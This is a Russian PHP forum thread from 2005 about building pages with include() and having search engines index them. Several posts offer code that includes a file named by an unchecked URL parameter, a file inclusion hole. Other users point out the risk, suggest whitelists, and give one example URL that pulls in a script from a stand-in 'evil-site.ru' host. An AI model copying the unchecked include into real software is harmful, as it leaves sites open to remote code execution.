Модераторы: skyboy, MoLeX, Aliance, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Сборка страницы include'ами, И индексация поисковиками 
:(
    Опции темы
Jey_k
Дата 19.9.2005, 10:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Суть такова. Страницы сайта index.php, soft.php, hard.php собираются следующим образом

Код

<html>
...
<meta....
...
include ("left_menu.php");//файл с содержанием левой колонки
include ("main_soft.php");// main_soft.php файл с основным содержанием определенного раздела
</html>


мне интересно как будет индексировааться такой ресурс и будет ли вообще. Основная информация генерируется скриптами main_*.php но отображение осуществляют index,soft,hard и прочие .php которые являют собой склейки меню и информационнного окна. Индексация нужна только страниц index,soft,hard но ни в коем случае не кусков main_*.php


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 19.9.2005, 13:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Будут если подключать в индексный файл и для каждой страницы генерировать свой ключи, ключевые слова и т.д.
Код

<?
include "includes/title.php";
<html>
<head>
<Meta http-equiv="content-type" Content="text/html; charset=Windows-1251">
<Meta name="Keywords" Content="<? echo $keywords[$page]; ?>">
<Meta name="Description" Content="<? echo $description[$page]; ?>">
<title><? echo $title[$page] ?></title>
</head>
<body topmargin="0" leftmargin="0" bottommargin="0">
<? include
        "includes/top.php" #подключаем верх и лево

?>
<?
        include "pages/".$page.".php" # подключаем основу, то что меняется
        ?>
<?
include "includes/bottom.php" # подключаем низ и право
?>
</body>
</html>



--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 19.9.2005, 13:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Пасиб!!! Ещё вопрос вдогонку по той же теме.

Как реализовать весчь, чтобы по клику на ссылке в левом меню подгружалась как раз эта нужная $page в Include а не какая-нибудь страница целиком?


--------------------
PM MAIL WWW   Вверх
Jey_k
Дата 19.9.2005, 14:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



О! Реализовал вот так:

index.php
Код

<?php
  include ("left.php");
  if ($page=="") 
  {
    showpage("main.php");
   }
  else
   {
     showpage($page);
    }

function showpage($page)
 {
   include $page;
  };
  ?>


Теперь ссылки с левого меню делаем такими: ...index.php?page=news.php

Это нормально или криво? Если есть способ эффективней, то рад буду посмотреть. Не бейте ногами только осваиваю php smile

Это сообщение отредактировал(а) Jey_k - 19.9.2005, 14:58


--------------------
PM MAIL WWW   Вверх
PARROT
Дата 19.9.2005, 15:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 2339
Регистрация: 5.1.2005
Где: Спб-ЦарьГрад

Репутация: 23
Всего: 50



Код

if (!$page) $page="about"; # с этой страницы стартует сайт, т.е. если $page не существует
if (!$title[$page]) $page="404"; # если такой страницы нет на севере

Ссылки будут выглядеть вот так:
Код

index.php?page=news

расширение лишнее.
Для подключения ключевых слов для каждой страницы, используй следующее:
Код

$title['about']="Название страницы";
$keywords['about']="Укажите поисковикам, по каким словам им осуществлять поиск информации, содержащейся на Вашей странице. Не пишите в этом тэге одних и тех же слов. Длинна списка до 800 символов. ";
$description['post']="Текст, который Вы укажите в этом теге, будет отображаться поисковиками. Длинна описания не должна превышать 200 символов. ";

Для остальных своих страниц напиши сам.
Говорят что эти правила необходимо соблюдать, по количеству слов.


--------------------
Безумный утешается прошедшим, слабоумный - будущим, умный - настоящим!
PM MAIL   Вверх
Jey_k
Дата 19.9.2005, 15:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



PARROT
Ну респектище тебе просто огромное smile
Добавлено @ 15:20
Цитата(PARROT @ 19.9.2005, 15:13)
код PHP
1:
index.php?page=news

расширение лишнее.

На локальной машине понимать не хочет, только с расширением. Наверное просто апач старый и интерпретатор тоже.



--------------------
PM MAIL WWW   Вверх
Mal Hack
Дата 19.9.2005, 15:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Jey_k @ 19.9.2005, 15:14)
О! Реализовал вот так:

Это несколько не правильно с точки зрения безопасности. Тут лучше что-ть типа этого:
Код

switch( $_GET['page'] )
 {
  case "1": include( "1.php" );
  case "2": include( "2.php" );
  case "3": include( "3.php" );
  default: include( "main.php" ) ;
 }



Цитата(Jey_k @ 19.9.2005, 15:14)
  if ($page=="")

Лучше через empty проверять.

Плюс не забывай про глобальные массивы $_GET, $_POST.

PM ICQ   Вверх
Jey_k
Дата 19.9.2005, 22:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



Цитата(Mal @ 19.9.2005, 15:32)
Лучше через empty проверять.

Плюс не забывай про глобальные массивы $_GET, $_POST.

Вот это бы да с примерчиком smile
Цитата(Mal @ 19.9.2005, 15:32)
Тут лучше что-ть типа этого:


switch( $_GET['page'] )
{
  case "1": include( "1.php" );
  case "2": include( "2.php" );
  case "3": include( "3.php" );
  default: include( "main.php" ) ;
}


Тогда адресовать страницы так: ...index.php?page=1 ?


--------------------
PM MAIL WWW   Вверх
Mal Hack
Дата 19.9.2005, 22:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Jey_k @ 19.9.2005, 23:04)
Тогда адресовать страницы так: ...index.php?page=1 ?

Как хочешь.
Просто ты должен в case нужное значение прописать. Это избавит от ошибки подгрузки других файлов.

PM ICQ   Вверх
Bikutoru
Дата 20.9.2005, 08:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Кстати, вместо switch'а можно использовать массив
Код

//Подключаемые страницы
$_PAGES = array ("main" => "modules/main.php", "news" = "modules/news.php", "guestbook" => "gb/main.php");

//Непосредственно подключение
$mod = empty($_GET["mod"])? "main": $_GET["mod"];
if (isset($_PAGES[$mod]) && file_exists($_PAGES[$mod]))
    include $_PAGES[$mod];

Теперь управление списком подключаемых страниц становится малость поудобнее...

Это сообщение отредактировал(а) Bikutoru - 20.9.2005, 08:30


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Mal Hack
Дата 20.9.2005, 09:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(Bikutoru @ 20.9.2005, 09:26)
Теперь управление списком подключаемых страниц становится малость поудобнее...

Не сказал бы. Это на любителя и на задачу.
PM ICQ   Вверх
Jey_k
Дата 20.9.2005, 10:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


WEB-командир
****


Профиль
Группа: Комодератор
Сообщений: 4149
Регистрация: 16.11.2003
Где: Москва

Репутация: 1
Всего: 61



В принципе там не так много траниц. Воспользуюсь наверное кейсом. Но вариант с массивом запишу.


--------------------
PM MAIL WWW   Вверх
Bikutoru
Дата 20.9.2005, 11:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Не спорю.

Цитата(Mal @ 20.9.2005, 10:31)
Это на любителя ...

Мне, например, лень кучу раз писать include в switch'е.

Цитата(Mal @ 20.9.2005, 10:31)
... и на задачу

Если это подключение необходимо делать в нескольких местах, то лучше будет иметь один список подключаемых файлов, но это при условии, что файлы и там и тут одни и те же. А вот если они различны... switch нам поможет smile




--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Мастер
Дата 20.9.2005, 12:25 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











Код открытия файлов через "?page".
Код

<?
If ($_GET['page'] == "" or $_GET['page'] == "main") {
include("maincontentfile.php");
}
else {
include($_GET['page'].".php";
}
?>

  Вверх
Bikutoru
Дата 20.9.2005, 13:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Мастер, так делать не надо. Ведь и такая штука прокатить может:

inc.php?page=http://evil-site.ru/evil_script


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Страницы: (3) Все [1] 2 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0573 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.